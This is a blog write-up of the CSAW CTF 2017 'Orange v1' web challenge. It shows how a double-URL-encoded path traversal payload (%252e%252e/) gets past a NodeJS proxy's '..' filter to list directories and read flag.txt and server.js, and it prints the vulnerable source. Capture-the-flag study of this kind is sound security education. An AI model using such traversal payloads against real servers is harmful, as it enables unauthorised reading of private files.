CSAW CTF Qualification Round 2017 -- Orange v1 -- Web100 Writeup

in #infosec7 years ago (edited)

CSAW CTF Qualification Round 2017 -- Orange v1 -- Web100 Writeup

Given following web problem during CSAW ctf

orange v1
I wrote a little proxy program in NodeJS for my poems folder. Everyone wants to read flag.txt but I like it too much to share. http://web.chal.csaw.io:7311/?path=orange.txt 


clearly it's reading file from given input $path get variable

let's try to mess around with it we find it have filter ban every two dots ".."

also there is directory listing along side with local file inclusion

URL: http://web.chal.csaw.io:7311/?path=

challenge description says there is more than just one webserver and one serves as proxy for the other

so this means double url encoding will be decoded each time in one server and will bypass the filter if it's based in the first webapp

let's try

URL: http://web.chal.csaw.io:7311/?path=%252e%252e/

and we can see directory listing for the parent directory which have the flag file we want


Directory listing for /poems/../


    .dockerignore

    back.py

    flag.txt

    poems/

    serve.sh

    server.js 



read flag file

http://web.chal.csaw.io:7311/?path=%252e%252e/flag.txt

flag{thank_you_based_orange_for_this_ctf_challenge}


we can also read script source code

http://web.chal.csaw.io:7311/?path=%252e%252e/server.js


var http = require('http');
var fs = require('fs');
var url = require('url');

var server = http.createServer(function(req, res) {
   try {
       var path = url.parse(req.url, true).query;
       path = path['path'];
       if (path.indexOf("..") == -1 && path.indexOf("NN") == -1) {
           var base = "http://localhost:8080/poems/";
           var callback = function(response){
               var str = '';
               response.on('data', function (chunk) {
                   str += chunk;
               });
               response.on('end', function () {
                 res.end(str);
               });
           }
           http.get(base + path, callback).end();
       } else {
           res.writeHead(403);
           res.end("WHOA THATS BANNED!!!!");
       }
   }
   catch (e) {
       res.writeHead(404);
       res.end('Oops');
   }
});
server.listen(9999);